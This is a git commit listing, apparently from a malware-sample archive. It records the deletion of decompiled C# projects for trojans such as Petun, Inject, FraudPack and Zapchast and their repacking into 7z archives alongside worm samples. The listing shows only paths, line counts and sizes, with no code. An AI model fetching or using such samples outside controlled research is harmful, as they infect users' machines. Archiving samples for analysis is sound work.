| 0 .../aR3nbf8dQp2feLmk31/SplashForm.resx | 0 .../lSfgApatkdxsVcGcrktoFd.resx | 0 .../fNIw99bZInoAkCS9hy/oanbpGC9NLvXFKlXef.cs | 0 .../u0LUUuLFqGwy5lk05Y/OoTPyZNjUNZ6HYUMxs.cs | 0 .../u4Ef2TQRL0sKLXWmyn/IrWvp08Vs6OdNtqkIq.cs | 0 .../winlogon/ProjectInstaller.cs | 0 .../winlogon/ProjectInstaller.resx | 0 .../winlogon/winlogon.cs | 0 .../zDtyZSSq9pXkMXrypQ/rOMuh5qpOKJug7dbPJ.cs | 0 .../AssemblyInfo.cs | 0 .../Trojan.MSIL.Pakes.y.csproj | 0 .../Trojan.MSIL.Pakes.y.sln | 0 .../ÄÂÂ.cs | 0 .../ÖÒÓ.cs | 0 .../ĐĩĺĤġ.cs | 0 .../AssemblyInfo.cs | 0 .../Trojan.MSIL.Pakes.y.csproj | 0 .../Trojan.MSIL.Pakes.y.sln | 0 .../ÄÂÂ.cs | 0 .../ÖÒÓ.cs | 0 .../ĐĩĺĤġ.cs | 0 .../AssemblyInfo.cs | 3 - .../ESabkJ.cs | 113 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../YRYD.cs | 33 - .../AssemblyInfo.cs | 3 - .../BxUq.cs | 33 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../VihxBEvUj.cs | 113 - .../AssemblyInfo.cs | 3 - .../CTUpqBY.cs | 33 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../imNmxrKIe.cs | 113 - .../AssemblyInfo.cs | 3 - .../CJnBzQT.cs | 77 - .../Module1.cs | 4403 ----------------- .../My/MyApplication.cs | 25 - .../My/MyComputer.cs | 28 - .../My/MyProject.cs | 189 - .../ROS.cs | 422 -- .../Trojan.MSIL.Petun.a.csproj | 49 - .../Trojan.MSIL.Petun.a.sln | 20 - .../UJ8ALmW0oRZrueDSNJ.cs | 9 - .../cnhziFozG.cs | 458 -- .../AssemblyInfo.cs | 3 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../cXBQjE.cs | 33 - .../zQTWO.cs | 113 - .../AssemblyInfo.cs | 3 - .../IvtnGD.cs | 113 - .../KQXCPOeh.cs | 33 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../AssemblyInfo.cs | 3 - .../Module1.cs | 1200 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../esOQZj.cs | 113 - .../hzwT.cs | 33 - .../AssemblyInfo.cs | 3 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../ThDqzYT.cs | 33 - .../TnSqIUJGz.cs | 113 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../AssemblyInfo.cs | 3 - .../DcFjhPEYP.cs | 113 - .../Module1.cs | 1204 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../SFfCBdKc.cs | 33 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../AssemblyInfo.cs | 3 - .../Module1.cs | 1204 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../hWCLMK.cs | 33 - .../qTmS.cs | 113 - .../AssemblyInfo.cs | 3 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../clJqUjQW.cs | 33 - .../hfkVOWz.cs | 113 - .../AssemblyInfo.cs | 3 - .../Chqqp.cs | 113 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../UDDppRZmO.cs | 33 - .../AssemblyInfo.cs | 3 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../ewJw.cs | 113 - .../gGgr.cs | 33 - .../AssemblyInfo.cs | 3 - .../GdYCEjE.cs | 113 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../NHZWtP.cs | 33 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../AssemblyInfo.cs | 3 - .../HOeG.cs | 113 - .../Module1.cs | 1204 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../QogcoFUpd.cs | 33 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../AssemblyInfo.cs | 3 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../srIMO.cs | 33 - .../zkSU.cs | 113 - .../AssemblyInfo.cs | 3 - .../Module1.cs | 1282 ----- .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../ROS.cs | 105 - .../Trojan.MSIL.Petun.a.csproj | 48 - .../Trojan.MSIL.Petun.a.sln | 20 - .../ZlCDYaj.cs | 33 - .../bEIWgBPCo.cs | 113 - .../AssemblyInfo.cs | 15 - .../Client_Dateitransfer.cs | 1113 ----- .../Form1.cs | 1388 ------ .../Form1.resx | 120 - .../Log.cs | 32 - .../Module_logger.cs | 51 - .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 207 - .../My/MySettings.cs | 23 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 50 - .../Reg.cs | 277 -- .../Resources.resx | 282 -- .../Spread.cs | 60 - .../Trojan.MSIL.Zapchast.aaxrn.csproj | 58 - .../Trojan.MSIL.Zapchast.aaxrn.sln | 20 - .../AssemblyInfo.cs | 15 - .../Trojan.MSIL.Zapchast.aelqe.csproj | 55 - .../Trojan.MSIL.Zapchast.aelqe.sln | 20 - .../Win/My/MySettings.cs | 23 - .../Win/Resources.resx | 120 - .../_0002.cs | 15 - .../_0002 .cs | 191 - .../_0003.cs | 21 - .../_0003 .cs | 31 - .../_0005.cs | 171 - .../_0006.cs | 33 - .../_0008.cs | 23 - .../_000E.cs | 18 - .../_000F.cs | 783 --- .../       ​    | Bin 2049 -> 0 bytes .../AssemblyInfo.cs | 13 - .../Form1.cs | 196 - .../Form1.resx | 120 - .../My/MyApplication.cs | 50 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 207 - .../My/MySettings.cs | 69 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 51 - .../Resources.resx | 470 -- .../Trojan.MSIL.Zapchast.f.csproj | 53 - .../Trojan.MSIL.Zapchast.f.sln | 20 - .../Trojan.MSIL.Zapchast.aaxrn.7z | Bin 0 -> 31159 bytes .../Trojan.MSIL.Zapchast.aelqe.7z | Bin 0 -> 18698 bytes .../Trojan.MSIL.Zapchast.f.7z | Bin 0 -> 82962 bytes .../Worm.MSIL.Autorun.a.7z | Bin .../Worm.MSIL.Autorun.jk.7z | Bin .../Worm.Win32.AutoRun.dfi.7z | Bin .../Worm.Win32.AutoRun.hgi.7z | Bin .../Worm.Win32.AutoRun.hvq-b.7z | Bin .../Worm.Win32.AutoRun.hvq.7z | Bin .../Worm.Win32.Shakblades.ajg-0.7z | Bin .../Worm.Win32.Shakblades.ajg-6.7z | Bin .../Worm.Win32.Shakblades.ajg-9.7z | Bin .../Worm.Win32.Shakblades.ajg.7z | Bin .../Worm.Win32.Shakblades.wqv.7z | Bin .../Worm.Win32.Shakblades.y.7z | Bin Win32/{ => Trojans}/Backdoor.MSIL.Small.h.7z | Bin .../Trojan.MSIL.BitMiner.bp.7z | Bin .../Trojan.MSIL.FraudPack.m.7z | Bin 0 -> 12226 bytes .../Trojan.MSIL.FraudPack.n.7z | Bin 0 -> 16528 bytes .../Trojan.MSIL.Inject.aey-5.7z | Bin 36535 -> 61296 bytes .../Trojan.MSIL.Inject.aey-9.7z | Bin 36535 -> 61306 bytes .../Trojan.MSIL.Inject.bq-0.7z | Bin 0 -> 12173 bytes .../Trojan.MSIL.Inject.bq-1.7z | Bin 0 -> 12123 bytes .../Trojan.MSIL.Inject.bq-6.7z | Bin 0 -> 12156 bytes .../Trojan.MSIL.Inject.bq-a.7z | Bin 0 -> 12150 bytes .../Trojan.MSIL.Inject.bq.7z | Bin 0 -> 12149 bytes .../Trojan.MSIL.Inject.qn.7z | Bin 0 -> 42029 bytes .../Trojan.MSIL.Inject.sh.7z | Bin 0 -> 25328 bytes .../Trojan.MSIL.KillAV.a.7z | Bin 0 -> 6487 bytes .../Trojan.MSIL.KillAV.ao-2.7z | Bin 0 -> 195679 bytes .../Trojan.MSIL.KillAV.ao-7.7z | Bin 0 -> 28065 bytes .../Trojan.MSIL.KillAV.ao-9.7z | Bin 0 -> 196618 bytes .../Trojan.MSIL.KillAV.b.7z | Bin 0 -> 8605 bytes .../Trojan.MSIL.KillAV.t.7z | Bin 0 -> 8444 bytes .../Trojan.MSIL.Petun.a-03.7z | Bin 0 -> 17244 bytes .../Trojan.MSIL.Petun.a-4.7z | Bin 0 -> 17198 bytes .../Trojan.MSIL.Petun.a-45.7z | Bin 0 -> 17367 bytes .../Trojan.MSIL.Petun.a-47.7z | Bin 0 -> 34450 bytes .../Trojan.MSIL.Petun.a-5.7z | Bin 0 -> 17296 bytes .../Trojan.MSIL.Petun.a-6.7z | Bin 0 -> 16893 bytes .../Trojan.MSIL.Petun.a-8.7z | Bin 0 -> 17240 bytes .../Trojan.MSIL.Petun.a-88.7z | Bin 0 -> 16926 bytes .../Trojan.MSIL.Petun.a-89.7z | Bin 0 -> 17161 bytes .../Trojan.MSIL.Petun.a-890.7z | Bin 0 -> 16896 bytes .../Trojan.MSIL.Petun.a-9.7z | Bin 0 -> 17229 bytes .../Trojan.MSIL.Petun.a-97.7z | Bin 0 -> 17187 bytes .../Trojan.MSIL.Petun.a-98.7z | Bin 0 -> 17094 bytes .../Trojan.MSIL.Petun.a-d9.7z | Bin 0 -> 17011 bytes .../Trojan.MSIL.Petun.a-e0.7z | Bin 0 -> 17095 bytes .../Trojan.MSIL.Petun.a-f6.7z | Bin 0 -> 17262 bytes .../Trojan.MSIL.Petun.a.7z | Bin 0 -> 17226 bytes 957 files changed, 89491 deletions(-) delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.csproj delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/Trojan.MSIL.FraudPack.m.sln delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0002.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0003.resx delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0005.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0006.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/_0008.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/crss/Properties/Settings.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.m-c9d6af6d6a8af018de78446249abcc7575778a3b852f83f32fc70008c86f78dc/            delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.csproj delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/Trojan.MSIL.FraudPack.n.sln delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0002.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.resx delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.resx delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0006.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0008.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_000E.cs delete mode 100644 MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/          ​   delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.csproj delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/Trojan.MSIL.Inject.aey.sln delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/_003C.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.csproj delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.sln delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/_003C.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.csproj delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/Trojan.MSIL.Inject.bq.sln delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-00b0f120dd3cf2bf4160b29162077c85344d4e9c23a717f725db80ce58d2144b/x86.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.csproj delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/Trojan.MSIL.Inject.bq.sln delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/x86.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.csproj delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.sln delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/x86.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyProject.cs delete mode 100644 